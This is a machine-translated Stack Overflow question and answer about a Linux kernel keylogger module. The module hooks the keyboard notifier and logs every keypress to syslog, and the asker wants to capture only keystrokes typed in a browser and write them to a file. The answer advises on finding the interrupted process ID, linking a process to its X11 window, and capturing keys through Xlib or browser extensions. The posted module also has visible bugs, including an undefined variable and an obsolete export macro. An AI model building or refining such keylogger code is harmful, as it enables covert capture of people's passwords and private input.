内核模块,用于识别按键是否来自浏览器窗口

use*_*993 6 linux-kernel

我有一个基本的密钥记录器内核模块,它将所有按键记录到syslog上.我只需要记录浏览器中的那些按键.有没有办法找到导致中断的应用程序的进程ID?另外,有没有办法将按键保存到文件?任何人都可以帮助.. :)

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/keyboard.h>
#include <linux/notifier.h>

MODULE_LICENSE("GPL");
#ifdef notifier_block
struct notifier_block {
  int (*notifier_call)(struct notifier_block *, unsigned long, void *);
  struct notifier_block *next;
  int priority;
};
#endif
char call(int v)
{
    char val=NULL;
    if (v == 16) {val='q';}
    else if (v == 17) {val='w';}
    else if (v == 18) {val='e';}
    else if (v == 19) {val='r';}
    else if (v == 20) {val='t';}
    else if (v == 21) {val='y';}
    else if (v == 22) {val='u';}
    else if (v == 23) {val='i';}
    else if (v == 24) {val='o';}
    else if (v == 25) {val='p';}
    else if (v == 30) {val='a';}
    else if (v == 31) {val='s';}
    else if (v == 32) {val='d';}
    else if (v == 33) {val='f';}
    else if (v == 34) {val='g';}
    else if (v == 35) {val='h';}
    else if (v == 36) {val='j';}
    else if (v == 37) {val='k';}
    else if (v == 38) {val='l';}
    else if (v == 44) {val='z';}
    else if (v == 45) {val='x';}
    else if (v == 46) {val='c';}
    else if (v == 47) {val='v';}
    else if (v == 48) {val='b';}
    else if (v == 49) {val='n';}
    else if (v == 50) {val='m';}
    else if (v == 28) {val='\n';}
    else if (v == 57) {val='\t';}
    else if (v == 51) {val=',';}
    else if (v == 78) {val='+';}
    else if (v == 55) {val='*';}
    else if (v == 98) {val='/';}
    else if (v == 13) {val='=';}
    else if (v == 39) {val=';';}
    else if ((v == 11)||(v == 82)) {val='0';}
    else if ((v == 2)||(v == 79)) {val='1';}
    else if ((v == 3)||(v == 80)) {val='2';}
    else if ((v == 4)||(v == 81)) {val='3';}
    else if ((v == 5)||(v == 75)) {val='4';}
    else if ((v == 6)||(v == 76)) {val='5';}
    else if ((v == 7)||(v == 77)) {val='6';}
    else if ((v == 8)||(v == 71)) {val='7';}
    else if ((v == 9)||(v == 72)) {val='8';}
    else if ((v == 10)||(v == 73)) {val='9';}
    else if ((v == 12)||(v == 74)) {val='-';}
    else if ((v == 83)||(v== 52)) {val='.';}


    return val;
}

int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
  struct keyboard_notifier_param *param = _param;//local reference
  struct vc_data *vc = param->vc;
 char val;
 int ret = NOTIFY_OK;
  if (code == KBD_KEYCODE) {
    val=call(param->value);
    if(param->down)
        {   printk(KERN_INFO "KEYLOGGER %c",val); 
            c=val;      
        }
   // printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
  }
return ret;  
}

static struct notifier_block nb = {
  .notifier_call = hello_notify
};
EXPORT_SYMBOL_NOVERS(notifier_block);

static int hello_init(void)
{ 
  register_keyboard_notifier(&nb);
  return 0;
}

static void hello_release(void)
{
  unregister_keyboard_notifier(&nb);
}

module_init(hello_init);
module_exit(hello_release);
Run Code Online (Sandbox Code Playgroud)

App*_*234 1

有没有办法找到引起中断的应用程序的进程ID?

current->pid 
Run Code Online (Sandbox Code Playgroud)

包括后#include <linux/sched.h>

将根据以下Stack Overflow 问题Linux Kernel Development Chapter 6 on Interrupt Context告诉您被中断的进程。

这假设您current->pid从通知程序应位于的中断上下文中进行调用,除非您在通知程序中执行不应执行的繁重计算。

如果您处于进程上下文中或具有抢占式内核(如Andrew Medico所评论),并且正在使用宏来获取有关 的信息current,则如果经过了任何重要时间,调度程序将对其进行更改。

根据TheCodeArtist的评论,以下Stack Overflow 答案演示了写入文件。在内核中执行文件 IO 并不是一个好主意,尤其是在中断上下文中。

此处提供了将按键写入内存缓冲区而不是文件的示例。

以下Stack Overflow 问题演示了如何从进程 ID 获取进程名称。

然而,所有这些让您得到的是具有给定名称的进程的按键,它无法确定具有名称的进程与浏览器窗口有任何关联。

请参阅以下Stack Overflow 问题,该问题解释了如何从进程 id 获取 X11 窗口,以及以下Stack Overflow 问题使用 XGrabKey 和 Xlib 获取用户空间中的密钥。

确保按键来自特定浏览器的更可靠方法是,不仅在用户空间级别执行此操作,而且在浏览器插件或扩展级别执行此操作。Chrome 的示例在这里,Firefox 的示例在这里